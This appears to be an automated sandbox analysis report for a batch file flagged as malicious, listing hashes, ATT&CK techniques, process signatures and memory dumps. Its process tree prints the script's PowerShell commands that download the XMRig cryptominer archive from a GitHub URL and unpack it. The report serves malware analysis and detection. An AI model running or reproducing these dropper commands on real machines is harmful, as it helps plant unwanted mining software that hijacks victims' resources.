c0768ace239b9f133dfbb33d830ff9bf0580b167e2a6b0f015950f7aa2b1f768

Resubmissions

Analysis

max time kernel
1565s
max time network
1567s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
20-05-2024 18:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

4.bat
Size

599B
MD5

798b979417aa88e5323ead9be2d8425c
SHA1

a54c5133c71afddf697f302b36bdb930c72852ce
SHA256

f83d724987f9f4a0843c0b0abd01f3f5ceccbc8e7babad76c2639e1bef2fee07
SHA512

a4f2ff598bc26b5ee7778b34b34aafd20e43f714c5f841b9fe73cdc6e1c3e47e44ffb94ff06ccd7dd263116201ff6754c956c1ea8f588acf6927f35446b5036b

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2008	powershell.exe
6	2008	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2008	powershell.exe
2848	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2008	powershell.exe
2848	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2008	powershell.exe
Token: SeDebugPrivilege	2848	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3068 wrote to memory of 2008	3068	cmd.exe	29
PID 3068 wrote to memory of 2008	3068	cmd.exe	29
PID 3068 wrote to memory of 2008	3068	cmd.exe	29
PID 3068 wrote to memory of 2848	3068	cmd.exe	30
PID 3068 wrote to memory of 2848	3068	cmd.exe	30
PID 3068 wrote to memory of 2848	3068	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\4.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3068
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip', 'xmrig-6.21.3-msvc-win64.zip')"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'xmrig-6.21.3-msvc-win64.zip' -DestinationPath '.'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2848

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
405e5c84a23e9e98b70b9747e0af08f4

SHA1
c00a015289d73f6bfb9976fefd63de73ad6e86e2

SHA256
28ad99a9f11b53e2f4c8a4af22ceca16b112679920c41cf3b87ca0f36418a580

SHA512
5527d2bcfa5666ba84aaaf0055eed5f375c7f8642273aaece5d37aee966ea7e56fc841f7c8ab4f8fb58f66c4a593e9790a38a96020aec515e833de3d49224e8f

Download Submit
memory/2008-4-0x000007FEF546E000-0x000007FEF546F000-memory.dmp

Filesize
4KB

Download
memory/2008-6-0x0000000002890000-0x0000000002898000-memory.dmp

Filesize
32KB

Download
memory/2008-5-0x000000001B5E0000-0x000000001B8C2000-memory.dmp

Filesize
2.9MB

Download
memory/2008-7-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp

Filesize
9.6MB

Download
memory/2008-8-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp

Filesize
9.6MB

Download
memory/2008-9-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp

Filesize
9.6MB

Download
memory/2008-10-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp

Filesize
9.6MB

Download
memory/2848-16-0x000000001B600000-0x000000001B8E2000-memory.dmp

Filesize
2.9MB

Download
memory/2848-17-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download